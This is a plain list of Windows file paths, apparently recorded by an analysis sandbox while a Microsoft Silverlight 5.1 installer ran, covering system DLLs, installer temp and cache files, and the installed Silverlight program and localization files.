C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
C:\WINDOWS\SYSWOW64\MPR.DLL
C:\WINDOWS\APPPATCH\ACGENRAL.DLL
C:\WINDOWS\SYSWOW64\UXTHEME.DLL
C:\WINDOWS\SYSWOW64\WININET.DLL
C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_41E6975E2BD6F2B2\COMCTL32.DLL
C:\WINDOWS\SYSWOW64\WINMM.DLL
C:\WINDOWS\WINDOWSSHELL.MANIFEST
C:\WINDOWS\SYSWOW64\SAMCLI.DLL
C:\WINDOWS\SYSWOW64\MSACM32.DLL
C:\WINDOWS\SYSWOW64\VERSION.DLL
C:\WINDOWS\SYSWOW64\SFC.DLL
C:\WINDOWS\SYSWOW64\SFC_OS.DLL
C:\WINDOWS\SYSWOW64\DWMAPI.DLL
C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
C:\WINDOWS\SYSWOW64\NTMARTA.DLL
C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
C:\WINDOWS\FONTS\MICROSS.TTF
C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CERTIFICATES
C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CRLS
C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CTLS
C:\WINDOWS\SYSWOW64\SCHANNEL.DLL
C:\WINDOWS\SYSWOW64\EN-US\USER32.DLL.MUI
C:\WINDOWS\SYSWOW64\RASAPI32.DLL
C:\WINDOWS\FONTS\STATICCACHE.DAT
C:\WINDOWS\SYSWOW64\OLE32.DLL
C:\WINDOWS\SYSWOW64\RASMAN.DLL
C:\WINDOWS\SYSWOW64\EN-US\MSCTF.DLL.MUI
C:\WINDOWS\SYSWOW64\RTUTILS.DLL
C:\WINDOWS\SYSWOW64\SENSAPI.DLL
C:\WINDOWS\SYSWOW64\CLUSAPI.DLL
C:\WINDOWS\SYSWOW64\CRYPTDLL.DLL
C:\_063508_
C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
C:\WINDOWS\SYSWOW64\RSAENH.DLL
C:\WINDOWS\SYSWOW64\FECLIENT.DLL
C:\WINDOWS\SYSWOW64\NETPROFM.DLL
C:\F0E543E3CE57499DFE\SILVERLIGHT.7Z
C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
C:\F0E543E3CE57499DFE\INSTALL.RES.DLL
C:\F0E543E3CE57499DFE\INSTALL.EXE
C:\F0E543E3CE57499DFE\MICROSOFT_DEFAULTS.EXE
C:\F0E543E3CE57499DFE\SILVERLIGHT.MSI
C:\F0E543E3CE57499DFE\$SHTDWN$.REQ
C:\WINDOWS\SYSWOW64\NPMPROXY.DLL
C:\WINDOWS\SYSWOW64\DHCPCSVC.DLL
C:\WINDOWS\SYSWOW64\DHCPCSVC6.DLL
C:\WINDOWS\SYSWOW64\MSIMG32.DLL
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\SILVERLIGHT0.LOG
C:\WINDOWS\SYSWOW64\RICHED20.DLL
C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.17514_NONE_72D18A4386696C80\GDIPLUS.DLL
C:\WINDOWS\SYSWOW64\MSI.DLL
C:\WINDOWS\FONTS\TAHOMA.TTF
C:\WINDOWS\WIN.INI
C:\WINDOWS\FONTS\TAHOMABD.TTF
C:\WINDOWS\FONTS\VERDANA.TTF
C:\WINDOWS\SYSWOW64\WINDOWSCODECS.DLL
C:\MALWARE
C:\WINDOWS\SYSWOW64\CREDSSP.DLL
C:\WINDOWS\SYSWOW64\SECUR32.DLL
C:\WINDOWS\SYSWOW64\NCRYPT.DLL
C:\WINDOWS\SYSWOW64\BCRYPT.DLL
C:\WINDOWS\SYSWOW64\BCRYPTPRIMITIVES.DLL
C:\WINDOWS\SYSWOW64\GPAPI.DLL
C:\WINDOWS\SYSWOW64\EN-US\CRYPT32.DLL.MUI
C:\WINDOWS\SYSWOW64\CRYPTNET.DLL
C:\WINDOWS\SYSWOW64\WINHTTP.DLL
C:\WINDOWS\SYSWOW64\WEBIO.DLL
C:\WINDOWS\SYSWOW64\EN-US\KERNELBASE.DLL.MUI
C:\WINDOWS\SYSWOW64\EN-US\WINHTTP.DLL.MUI
C:\WINDOWS\SYSWOW64\PROPSYS.DLL
C:\WINDOWS\SYSWOW64\SHELL32.DLL
C:\WINDOWS\SYSWOW64\IEFRAME.DLL
C:\WINDOWS\SYSWOW64\EN-US\IEFRAME.DLL.MUI
C:\WINDOWS\SYSWOW64\OLEACC.DLL
C:\WINDOWS\SYSWOW64\OLEACCRC.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\CACHES\CVERSIONS.1.DB
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\CACHES\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.VER0X0000000000000002.DB
C:\USERS\ADMINISTRATOR\DESKTOP\DESKTOP.INI
C:\WINDOWS\SYSWOW64\EN-US\PROPSYS.DLL.MUI
C:\WINDOWS\SYSWOW64\DEVRTL.DLL
C:\WINDOWS\APPPATCH\PCAMAIN.SDB
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\METADATA\77EC63BDA74BD0D0E0426DC8F8008506
C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\CONTENT\77EC63BDA74BD0D0E0426DC8F8008506
C:\WINDOWS\TEMP\CAB2ECC.TMP
C:\WINDOWS\TEMP\TAR2F2B.TMP
C:\WINDOWS\SYSWOW64\CABINET.DLL
C:\WINDOWS\SYSWOW64\EN-US\URLMON.DLL.MUI
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\ADMINISTRATOR@MSN[1].TXT
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CERTIFICATES
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CRLS
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CTLS
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\ADMINISTRATOR@MICROSOFT[2].TXT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\Y0NCF8FR\DEFAULTPACK[1].EXE
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\DEFAULTPACK.EXE
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\SILVERLIGHTMSI.LOG
C:\WINDOWS\SYSWOW64\MSIMSG.DLL
C:\WINDOWS\SYSWOW64\EN-US\MSIMSG.DLL.MUI
C:\WINDOWS\SYSWOW64\NETAPI32.DLL
C:\WINDOWS\SYSWOW64\NETUTILS.DLL
C:\WINDOWS\SYSWOW64\SRVCLI.DLL
C:\WINDOWS\SYSWOW64\WKSCLI.DLL
C:\WINDOWS\SYSTEM32\MSI.DLL
C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
C:\WINDOWS\SYSTEM32\MSIEXEC.EXE
C:\WINDOWS\APPPATCH\APPPATCH64\ACLAYERS.DLL
C:\WINDOWS\SYSTEM32\WINSPOOL.DRV
C:\WINDOWS\SYSTEM32\MPR.DLL
C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
C:\WINDOWS\SYSTEM32\SFC.DLL
C:\WINDOWS\SYSTEM32\SFC_OS.DLL
C:\WINDOWS\SYSTEM32\USERENV.DLL
C:\WINDOWS\SYSTEM32\PROFAPI.DLL
C:\WINDOWS\SYSTEM32\EN-US\MSIEXEC.EXE.MUI
C:\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_FA396087175AC9AC\COMCTL32.DLL
C:\WINDOWS\SYSTEM32\MSIMSG.DLL
C:\WINDOWS\SYSTEM32\EN-US\MSIMSG.DLL.MUI
C:\WINDOWS\SYSTEM32\NETAPI32.DLL
C:\WINDOWS\SYSTEM32\NETUTILS.DLL
C:\WINDOWS\SYSTEM32\SRVCLI.DLL
C:\WINDOWS\SYSTEM32\WKSCLI.DLL
C:\WINDOWS\INSTALLER\142AA.MSI
C:\WINDOWS\SYSTEM32\MSISIP.DLL
C:\WINDOWS\SYSTEM32\EN-US\CRYPT32.DLL.MUI
C:\WINDOWS\SYSTEM32\NCRYPT.DLL
C:\WINDOWS\SYSTEM32\BCRYPT.DLL
C:\WINDOWS\SYSTEM32\BCRYPTPRIMITIVES.DLL
C:\WINDOWS\SYSTEM32\GPAPI.DLL
C:\WINDOWS\SYSTEM32\WINSTA.DLL
C:\WINDOWS\APPPATCH\MSIMAIN.SDB
C:\WINDOWS\SYSTEM32\SXS.DLL
C:\WINDOWS\SYSTEM32\EN-US\SXS.DLL.MUI
C:\WINDOWS\SYSTEM32\MSCOREE.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORWKS.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL
C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\FUSION.DLL
C:\WINDOWS\SYSTEM32\RSTRTMGR.DLL
C:\WINDOWS\FONTS\SSERIFE.FON
C:\MSI142AB.TMP
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\000041091A0090400100000000F01FEC\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109210000000100000000F01FEC\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109340000000100000000F01FEC\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109340090400100000000F01FEC\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109610090400100000000F01FEC\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109810090400100000000F01FEC\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109A10090400100000000F01FEC\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109B10090400100000000F01FEC\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109E60090400100000000F01FEC\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109F10090400100000000F01FEC\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109F100A0C00100000000F01FEC\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\00004109F100C0400100000000F01FEC\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\68AB67CA7DA73301B744CAF070E41400\CACHESIZE.TXT
C:\WINDOWS\INSTALLER\142AC.IPI
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\~DF2295F69A6D9B3DFB.TMP
C:\WINDOWS\INSTALLER\MSI444F.TMP
C:\CONFIG.MSI\MSI446F.TMP
C:\CONFIG.MSI\142AD.RBS
C:\WINDOWS\INSTALLER\142AE.MSI
C:\WINDOWS\INSTALLER\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}\ARPICON
C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
C:\WINDOWS\SYSTEM32\DEVRTL.DLL
C:\CONFIG.MSI\MSI44FD.TMP
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\~DF53B287709A390A8E.TMP
C:\PROGRAM FILES (X86)\COMMON FILES\ORACLE\JAVA\JAVAPATH_TARGET_2554313
C:\WINDOWS\SYSWOW64\WBEM\WMIC.EXE
C:\WINDOWS\SYSWOW64\FRAMEDYNOS.DLL
C:\WINDOWS\SYSWOW64\WTSAPI32.DLL
C:\WINDOWS\SYSWOW64\WBEM\EN-US\WMIC.EXE.MUI
C:\WINDOWS\SYSWOW64\WBEM\WBEMPROX.DLL
C:\WINDOWS\SYSWOW64\WBEMCOMN.DLL
C:\WINDOWS\SYSWOW64\KERNEL32.DLL
C:\WINDOWS\SYSWOW64\MSXML3.DLL
C:\WINDOWS\SYSWOW64\MSXML3R.DLL
C:\PROGRAM FILES (X86)\COMMON FILES\MICROSOFT SHARED\OFFICE14\MSOXMLMF.DLL
C:\WINDOWS\WINSXS\X86_MICROSOFT.VC90.CRT_1FC8B3B9A1E18E3B_9.0.30729.4940_NONE_50916076BCB9A742\MSVCR90.DLL
C:\WINDOWS\SYSWOW64\WBEM\XSL-MAPPINGS.XML
C:\WINDOWS\SYSWOW64\WBEM\WBEMSVC.DLL
C:\WINDOWS\SYSWOW64\WBEM\FASTPROX.DLL
C:\F0E543E3CE57499DFE\SILVERLIGHT.MSP
C:\WINDOWS\SYSWOW64\NTDSAPI.DLL
C:\WINDOWS\INSTALLER\142AF.MSP
C:\WINDOWS\SYSWOW64\WBEM\TEXTTABLE.XSL
C:\WINDOWS\SYSWOW64\VBSCRIPT.DLL
C:\MSI142B0.TMP
C:\WINDOWS\SYSWOW64\SXS.DLL
C:\WINDOWS\SYSWOW64\STDOLE2.TLB
C:\WINDOWS\INSTALLER\142B1.IPI
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\~DF54E8534E7EECA26B.TMP
C:\WINDOWS\INSTALLER\MSI4A7A.TMP
C:\WINDOWS\INSTALLER\MSI4A9A.TMP
C:\WINDOWS\SYSWOW64\WBEM\XML\WMI2XML.DLL
C:\WINDOWS\SYSWOW64\IPCONFIG.EXE
C:\CONFIG.MSI\MSI4C6F.TMP
C:\CONFIG.MSI\142B2.RBS
C:\WINDOWS\INSTALLER\$PATCHCACHE$\MANAGED\D7314F9862C648A4DB8BE2A5B47BE100\1.0.0
C:\WINDOWS\SYSWOW64\EN-US\IPCONFIG.EXE.MUI
C:\WINDOWS\SYSWOW64\QAGENT.DLL
C:\WINDOWS\SYSTEM32\CABINET.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\SLLAUNCHER.EXE
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SILVERLIGHT.CONFIGURATION.EXE
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SILVERLIGHT.CONFIGURATIONUI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\AGCORE.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NPCTRL.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NPCTRLUI.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SLMSPRBOOTSTRAP.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\AGCP.EXE
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\XAPAUTHENTICODESIP.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.SHADERS.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.BROWSER.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.RUNTIMEHOST.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.XNA.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SLR.DLL.MANAGED_MANIFEST
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DE\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ES\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FR\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\IT\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\JA\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\KO\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RU\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANS\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANT\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\AR\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\BG\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CA\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CS\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DA\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EL\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ET\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EU\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FI\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HE\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HR\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HU\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ID\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LT\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LV\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MS\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NL\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NO\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PL\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT-BR\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RO\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SK\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SL\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-CYRL-CS\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-LATN-CS\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SV\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TH\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TR\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\UK\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\VI\MSCORLIB.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DE\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ES\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FR\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\IT\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\JA\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\KO\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RU\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANS\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANT\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\AR\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\BG\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CA\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CS\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DA\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EL\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ET\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EU\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FI\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HE\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HR\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HU\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ID\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LT\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LV\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MS\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NL\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NO\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PL\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT-BR\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RO\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SK\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SL\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-CYRL-CS\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-LATN-CS\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SV\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TH\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TR\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\UK\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\VI\SYSTEM.RESOURCES.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.SERVICEMODEL.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.SERVICEMODEL.WEB.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DE\MSCORRC.DLL
C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ES\MSCORRC.DLL
